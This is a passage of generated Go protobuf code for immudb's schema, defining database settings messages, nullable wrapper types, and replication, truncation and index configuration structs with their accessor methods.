protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` // Current database settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` // Set to true if given database already existed AlreadyExisted bool `protobuf:"varint,3,opt,name=alreadyExisted,proto3" json:"alreadyExisted,omitempty"` } func (x *CreateDatabaseResponse) Reset() { *x = CreateDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateDatabaseResponse) ProtoMessage() {} func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateDatabaseResponse.ProtoReflect.Descriptor instead. func (*CreateDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{70} } func (x *CreateDatabaseResponse) GetName() string { if x != nil { return x.Name } return "" } func (x *CreateDatabaseResponse) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } func (x *CreateDatabaseResponse) GetAlreadyExisted() bool { if x != nil { return x.AlreadyExisted } return false } type UpdateDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Updated settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` } func (x *UpdateDatabaseRequest) Reset() { *x = UpdateDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UpdateDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*UpdateDatabaseRequest) ProtoMessage() {} func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UpdateDatabaseRequest.ProtoReflect.Descriptor instead. func (*UpdateDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{71} } func (x *UpdateDatabaseRequest) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *UpdateDatabaseRequest) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } // Reserved to reply with more advanced response later type UpdateDatabaseResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Current database settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` } func (x *UpdateDatabaseResponse) Reset() { *x = UpdateDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *UpdateDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*UpdateDatabaseResponse) ProtoMessage() {} func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use UpdateDatabaseResponse.ProtoReflect.Descriptor instead. func (*UpdateDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{72} } func (x *UpdateDatabaseResponse) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *UpdateDatabaseResponse) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } type DatabaseSettingsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *DatabaseSettingsRequest) Reset() { *x = DatabaseSettingsRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseSettingsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseSettingsRequest) ProtoMessage() {} func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseSettingsRequest.ProtoReflect.Descriptor instead. func (*DatabaseSettingsRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{73} } type DatabaseSettingsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Database settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` } func (x *DatabaseSettingsResponse) Reset() { *x = DatabaseSettingsResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseSettingsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseSettingsResponse) ProtoMessage() {} func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseSettingsResponse.ProtoReflect.Descriptor instead. func (*DatabaseSettingsResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{74} } func (x *DatabaseSettingsResponse) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *DatabaseSettingsResponse) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } type NullableUint32 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value uint32 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableUint32) Reset() { *x = NullableUint32{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableUint32) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableUint32) ProtoMessage() {} func (x *NullableUint32) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableUint32.ProtoReflect.Descriptor instead. func (*NullableUint32) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{75} } func (x *NullableUint32) GetValue() uint32 { if x != nil { return x.Value } return 0 } type NullableUint64 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value uint64 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableUint64) Reset() { *x = NullableUint64{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableUint64) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableUint64) ProtoMessage() {} func (x *NullableUint64) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableUint64.ProtoReflect.Descriptor instead. func (*NullableUint64) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{76} } func (x *NullableUint64) GetValue() uint64 { if x != nil { return x.Value } return 0 } type NullableFloat struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value float32 `protobuf:"fixed32,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableFloat) Reset() { *x = NullableFloat{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableFloat) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableFloat) ProtoMessage() {} func (x *NullableFloat) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableFloat.ProtoReflect.Descriptor instead. func (*NullableFloat) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{77} } func (x *NullableFloat) GetValue() float32 { if x != nil { return x.Value } return 0 } type NullableBool struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value bool `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableBool) Reset() { *x = NullableBool{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableBool) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableBool) ProtoMessage() {} func (x *NullableBool) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableBool.ProtoReflect.Descriptor instead. func (*NullableBool) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{78} } func (x *NullableBool) GetValue() bool { if x != nil { return x.Value } return false } type NullableString struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value string `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableString) Reset() { *x = NullableString{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableString) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableString) ProtoMessage() {} func (x *NullableString) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableString.ProtoReflect.Descriptor instead. func (*NullableString) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{79} } func (x *NullableString) GetValue() string { if x != nil { return x.Value } return "" } type NullableMilliseconds struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Value int64 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` } func (x *NullableMilliseconds) Reset() { *x = NullableMilliseconds{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *NullableMilliseconds) String() string { return protoimpl.X.MessageStringOf(x) } func (*NullableMilliseconds) ProtoMessage() {} func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use NullableMilliseconds.ProtoReflect.Descriptor instead. func (*NullableMilliseconds) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{80} } func (x *NullableMilliseconds) GetValue() int64 { if x != nil { return x.Value } return 0 } type DatabaseNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Replication settings ReplicationSettings *ReplicationNullableSettings `protobuf:"bytes,2,opt,name=replicationSettings,proto3" json:"replicationSettings,omitempty"` // Max filesize on disk FileSize *NullableUint32 `protobuf:"bytes,8,opt,name=fileSize,proto3" json:"fileSize,omitempty"` // Maximum length of keys MaxKeyLen *NullableUint32 `protobuf:"bytes,9,opt,name=maxKeyLen,proto3" json:"maxKeyLen,omitempty"` // Maximum length of values MaxValueLen *NullableUint32 `protobuf:"bytes,10,opt,name=maxValueLen,proto3" json:"maxValueLen,omitempty"` // Maximum number of entries in a single transaction MaxTxEntries *NullableUint32 `protobuf:"bytes,11,opt,name=maxTxEntries,proto3" json:"maxTxEntries,omitempty"` // If set to true, do not include commit timestamp in transaction headers ExcludeCommitTime *NullableBool `protobuf:"bytes,12,opt,name=excludeCommitTime,proto3" json:"excludeCommitTime,omitempty"` // Maximum number of simultaneous commits prepared for write MaxConcurrency *NullableUint32 `protobuf:"bytes,13,opt,name=maxConcurrency,proto3" json:"maxConcurrency,omitempty"` // Maximum number of simultaneous IO writes MaxIOConcurrency *NullableUint32 `protobuf:"bytes,14,opt,name=maxIOConcurrency,proto3" json:"maxIOConcurrency,omitempty"` // Size of the cache for transaction logs TxLogCacheSize *NullableUint32 `protobuf:"bytes,15,opt,name=txLogCacheSize,proto3" json:"txLogCacheSize,omitempty"` // Maximum number of simultaneous value files opened VLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,16,opt,name=vLogMaxOpenedFiles,proto3" json:"vLogMaxOpenedFiles,omitempty"` // Maximum number of simultaneous transaction log files opened TxLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,17,opt,name=txLogMaxOpenedFiles,proto3" json:"txLogMaxOpenedFiles,omitempty"` // Maximum number of simultaneous commit log files opened CommitLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,18,opt,name=commitLogMaxOpenedFiles,proto3" json:"commitLogMaxOpenedFiles,omitempty"` // Index settings IndexSettings *IndexNullableSettings `protobuf:"bytes,19,opt,name=indexSettings,proto3" json:"indexSettings,omitempty"` // Version of transaction header to use (limits available features) WriteTxHeaderVersion *NullableUint32 `protobuf:"bytes,20,opt,name=writeTxHeaderVersion,proto3" json:"writeTxHeaderVersion,omitempty"` // If set to true, automatically load the database when starting immudb (true by default) Autoload *NullableBool `protobuf:"bytes,21,opt,name=autoload,proto3" json:"autoload,omitempty"` // Size of the pool of read buffers ReadTxPoolSize *NullableUint32 `protobuf:"bytes,22,opt,name=readTxPoolSize,proto3" json:"readTxPoolSize,omitempty"` // Fsync frequency during commit process SyncFrequency *NullableMilliseconds `protobuf:"bytes,23,opt,name=syncFrequency,proto3" json:"syncFrequency,omitempty"` // Size of the in-memory buffer for write operations WriteBufferSize *NullableUint32 `protobuf:"bytes,24,opt,name=writeBufferSize,proto3" json:"writeBufferSize,omitempty"` // Settings of Appendable Hash Tree AhtSettings *AHTNullableSettings `protobuf:"bytes,25,opt,name=ahtSettings,proto3" json:"ahtSettings,omitempty"` // Maximum number of pre-committed transactions MaxActiveTransactions *NullableUint32 `protobuf:"bytes,26,opt,name=maxActiveTransactions,proto3" json:"maxActiveTransactions,omitempty"` // Limit the number of read entries per transaction MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` // Size of the cache for value logs VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` // Truncation settings TruncationSettings *TruncationNullableSettings `protobuf:"bytes,29,opt,name=truncationSettings,proto3" json:"truncationSettings,omitempty"` // If set to true, values are stored together with the transaction header (true by default) EmbeddedValues *NullableBool `protobuf:"bytes,30,opt,name=embeddedValues,proto3" json:"embeddedValues,omitempty"` // Enable file preallocation PreallocFiles *NullableBool `protobuf:"bytes,31,opt,name=preallocFiles,proto3" json:"preallocFiles,omitempty"` } func (x *DatabaseNullableSettings) Reset() { *x = DatabaseNullableSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseNullableSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseNullableSettings) ProtoMessage() {} func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseNullableSettings.ProtoReflect.Descriptor instead. func (*DatabaseNullableSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{81} } func (x *DatabaseNullableSettings) GetReplicationSettings() *ReplicationNullableSettings { if x != nil { return x.ReplicationSettings } return nil } func (x *DatabaseNullableSettings) GetFileSize() *NullableUint32 { if x != nil { return x.FileSize } return nil } func (x *DatabaseNullableSettings) GetMaxKeyLen() *NullableUint32 { if x != nil { return x.MaxKeyLen } return nil } func (x *DatabaseNullableSettings) GetMaxValueLen() *NullableUint32 { if x != nil { return x.MaxValueLen } return nil } func (x *DatabaseNullableSettings) GetMaxTxEntries() *NullableUint32 { if x != nil { return x.MaxTxEntries } return nil } func (x *DatabaseNullableSettings) GetExcludeCommitTime() *NullableBool { if x != nil { return x.ExcludeCommitTime } return nil } func (x *DatabaseNullableSettings) GetMaxConcurrency() *NullableUint32 { if x != nil { return x.MaxConcurrency } return nil } func (x *DatabaseNullableSettings) GetMaxIOConcurrency() *NullableUint32 { if x != nil { return x.MaxIOConcurrency } return nil } func (x *DatabaseNullableSettings) GetTxLogCacheSize() *NullableUint32 { if x != nil { return x.TxLogCacheSize } return nil } func (x *DatabaseNullableSettings) GetVLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.VLogMaxOpenedFiles } return nil } func (x *DatabaseNullableSettings) GetTxLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.TxLogMaxOpenedFiles } return nil } func (x *DatabaseNullableSettings) GetCommitLogMaxOpenedFiles() *NullableUint32 { if x != nil { return x.CommitLogMaxOpenedFiles } return nil } func (x *DatabaseNullableSettings) GetIndexSettings() *IndexNullableSettings { if x != nil { return x.IndexSettings } return nil } func (x *DatabaseNullableSettings) GetWriteTxHeaderVersion() *NullableUint32 { if x != nil { return x.WriteTxHeaderVersion } return nil } func (x *DatabaseNullableSettings) GetAutoload() *NullableBool { if x != nil { return x.Autoload } return nil } func (x *DatabaseNullableSettings) GetReadTxPoolSize() *NullableUint32 { if x != nil { return x.ReadTxPoolSize } return nil } func (x *DatabaseNullableSettings) GetSyncFrequency() *NullableMilliseconds { if x != nil { return x.SyncFrequency } return nil } func (x *DatabaseNullableSettings) GetWriteBufferSize() *NullableUint32 { if x != nil { return x.WriteBufferSize } return nil } func (x *DatabaseNullableSettings) GetAhtSettings() *AHTNullableSettings { if x != nil { return x.AhtSettings } return nil } func (x *DatabaseNullableSettings) GetMaxActiveTransactions() *NullableUint32 { if x != nil { return x.MaxActiveTransactions } return nil } func (x *DatabaseNullableSettings) GetMvccReadSetLimit() *NullableUint32 { if x != nil { return x.MvccReadSetLimit } return nil } func (x *DatabaseNullableSettings) GetVLogCacheSize() *NullableUint32 { if x != nil { return x.VLogCacheSize } return nil } func (x *DatabaseNullableSettings) GetTruncationSettings() *TruncationNullableSettings { if x != nil { return x.TruncationSettings } return nil } func (x *DatabaseNullableSettings) GetEmbeddedValues() *NullableBool { if x != nil { return x.EmbeddedValues } return nil } func (x *DatabaseNullableSettings) GetPreallocFiles() *NullableBool { if x != nil { return x.PreallocFiles } return nil } type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // If set to true, this database is replicating another database Replica *NullableBool `protobuf:"bytes,1,opt,name=replica,proto3" json:"replica,omitempty"` // Name of the database to replicate PrimaryDatabase *NullableString `protobuf:"bytes,2,opt,name=primaryDatabase,proto3" json:"primaryDatabase,omitempty"` // Hostname of the immudb instance with database to replicate PrimaryHost *NullableString `protobuf:"bytes,3,opt,name=primaryHost,proto3" json:"primaryHost,omitempty"` // Port of the immudb instance with database to replicate PrimaryPort *NullableUint32 `protobuf:"bytes,4,opt,name=primaryPort,proto3" json:"primaryPort,omitempty"` // Username of the user with read access of the database to replicate PrimaryUsername *NullableString `protobuf:"bytes,5,opt,name=primaryUsername,proto3" json:"primaryUsername,omitempty"` // Password of the user with read access of the database to replicate PrimaryPassword *NullableString `protobuf:"bytes,6,opt,name=primaryPassword,proto3" json:"primaryPassword,omitempty"` // Enable synchronous replication SyncReplication *NullableBool `protobuf:"bytes,7,opt,name=syncReplication,proto3" json:"syncReplication,omitempty"` // Number of confirmations from synchronous replicas required to commit a transaction SyncAcks *NullableUint32 `protobuf:"bytes,8,opt,name=syncAcks,proto3" json:"syncAcks,omitempty"` // Maximum number of prefetched transactions PrefetchTxBufferSize *NullableUint32 `protobuf:"bytes,9,opt,name=prefetchTxBufferSize,proto3" json:"prefetchTxBufferSize,omitempty"` // Number of concurrent replications ReplicationCommitConcurrency *NullableUint32 `protobuf:"bytes,10,opt,name=replicationCommitConcurrency,proto3" json:"replicationCommitConcurrency,omitempty"` // Allow precommitted transactions to be discarded if the replica diverges from the primary AllowTxDiscarding *NullableBool `protobuf:"bytes,11,opt,name=allowTxDiscarding,proto3" json:"allowTxDiscarding,omitempty"` // Disable integrity check when reading data during replication SkipIntegrityCheck *NullableBool `protobuf:"bytes,12,opt,name=skipIntegrityCheck,proto3" json:"skipIntegrityCheck,omitempty"` // Wait for indexing to be up to date during replication WaitForIndexing *NullableBool `protobuf:"bytes,13,opt,name=waitForIndexing,proto3" json:"waitForIndexing,omitempty"` } func (x *ReplicationNullableSettings) Reset() { *x = ReplicationNullableSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ReplicationNullableSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*ReplicationNullableSettings) ProtoMessage() {} func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ReplicationNullableSettings.ProtoReflect.Descriptor instead. func (*ReplicationNullableSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{82} } func (x *ReplicationNullableSettings) GetReplica() *NullableBool { if x != nil { return x.Replica } return nil } func (x *ReplicationNullableSettings) GetPrimaryDatabase() *NullableString { if x != nil { return x.PrimaryDatabase } return nil } func (x *ReplicationNullableSettings) GetPrimaryHost() *NullableString { if x != nil { return x.PrimaryHost } return nil } func (x *ReplicationNullableSettings) GetPrimaryPort() *NullableUint32 { if x != nil { return x.PrimaryPort } return nil } func (x *ReplicationNullableSettings) GetPrimaryUsername() *NullableString { if x != nil { return x.PrimaryUsername } return nil } func (x *ReplicationNullableSettings) GetPrimaryPassword() *NullableString { if x != nil { return x.PrimaryPassword } return nil } func (x *ReplicationNullableSettings) GetSyncReplication() *NullableBool { if x != nil { return x.SyncReplication } return nil } func (x *ReplicationNullableSettings) GetSyncAcks() *NullableUint32 { if x != nil { return x.SyncAcks } return nil } func (x *ReplicationNullableSettings) GetPrefetchTxBufferSize() *NullableUint32 { if x != nil { return x.PrefetchTxBufferSize } return nil } func (x *ReplicationNullableSettings) GetReplicationCommitConcurrency() *NullableUint32 { if x != nil { return x.ReplicationCommitConcurrency } return nil } func (x *ReplicationNullableSettings) GetAllowTxDiscarding() *NullableBool { if x != nil { return x.AllowTxDiscarding } return nil } func (x *ReplicationNullableSettings) GetSkipIntegrityCheck() *NullableBool { if x != nil { return x.SkipIntegrityCheck } return nil } func (x *ReplicationNullableSettings) GetWaitForIndexing() *NullableBool { if x != nil { return x.WaitForIndexing } return nil } type TruncationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Retention Period for data in the database RetentionPeriod *NullableMilliseconds `protobuf:"bytes,1,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` // Truncation Frequency for the database TruncationFrequency *NullableMilliseconds `protobuf:"bytes,2,opt,name=truncationFrequency,proto3" json:"truncationFrequency,omitempty"` } func (x *TruncationNullableSettings) Reset() { *x = TruncationNullableSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TruncationNullableSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*TruncationNullableSettings) ProtoMessage() {} func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TruncationNullableSettings.ProtoReflect.Descriptor instead. func (*TruncationNullableSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{83} } func (x *TruncationNullableSettings) GetRetentionPeriod() *NullableMilliseconds { if x != nil { return x.RetentionPeriod } return nil } func (x *TruncationNullableSettings) GetTruncationFrequency() *NullableMilliseconds { if x != nil { return x.TruncationFrequency } return nil } type IndexNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Number of new index entries between disk flushes FlushThreshold *NullableUint32 `protobuf:"bytes,1,opt,name=flushThreshold,proto3" json:"flushThreshold,omitempty"` // Number of new index entries between disk flushes with file sync SyncThreshold *NullableUint32 `protobuf:"bytes,2,opt,name=syncThreshold,proto3" json:"syncThreshold,omitempty"` // Size of the Btree node cache in bytes CacheSize *NullableUint32 `protobuf:"bytes,3,opt,name=cacheSize,proto3" json:"cacheSize,omitempty"` // Max size of a single Btree node in bytes MaxNodeSize *NullableUint32 `protobuf:"bytes,4,opt,name=maxNodeSize,proto3" json:"maxNodeSize,omitempty"` // Maximum number of active btree snapshots MaxActiveSnapshots *NullableUint32 `protobuf:"bytes,5,opt,name=maxActiveSnapshots,proto3" json:"maxActiveSnapshots,omitempty"` // Time in milliseconds between the most recent DB snapshot is automatically renewed RenewSnapRootAfter *NullableUint64 `protobuf:"bytes,6,opt,name=renewSnapRootAfter,proto3" json:"renewSnapRootAfter,omitempty"` // Minimum number of updates entries in the btree to allow for full compaction CompactionThld *NullableUint32 `protobuf:"bytes,7,opt,name=compactionThld,proto3" json:"compactionThld,omitempty"` // Additional delay added during indexing when full compaction is in progress DelayDuringCompaction *NullableUint32 `protobuf:"bytes,8,opt,name=delayDuringCompaction,proto3" json:"delayDuringCompaction,omitempty"` // Maximum number of simultaneously opened nodes files NodesLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,9,opt,name=nodesLogMaxOpenedFiles,proto3" json:"nodesLogMaxOpenedFiles,omitempty"` // Maximum number of simultaneously opened node history files HistoryLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,10,opt,name=historyLogMaxOpenedFiles,proto3" json:"historyLogMaxOpenedFiles,omitempty"` // Maximum number of simultaneously opened commit log files CommitLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,11,opt,name=commitLogMaxOpenedFiles,proto3" json:"commitLogMaxOpenedFiles,omitempty"` // Size of the in-memory flush buffer (in bytes) FlushBufferSize *NullableUint32 `protobuf:"bytes,12,opt,name=flushBufferSize,proto3" json:"flushBufferSize,omitempty"` // Percentage of node files cleaned up during each flush CleanupPercentage *NullableFloat `protobuf:"bytes,13,opt,name=cleanupPercentage,proto3" json:"cleanupPercentage,omitempty"` // Maximum number of transactions indexed together MaxBulkSize *NullableUint32 `protobuf:"bytes,14,opt,name=maxBulkSize,proto3" json:"maxBulkSize,omitempty"` // Maximum time waiting for more transactions to be committed and included into the same bulk BulkPreparationTimeout *NullableMilliseconds `protobuf:"bytes,15,opt,name=bulkPreparationTimeout,proto3" json:"bulkPreparationTimeout,omitempty"` 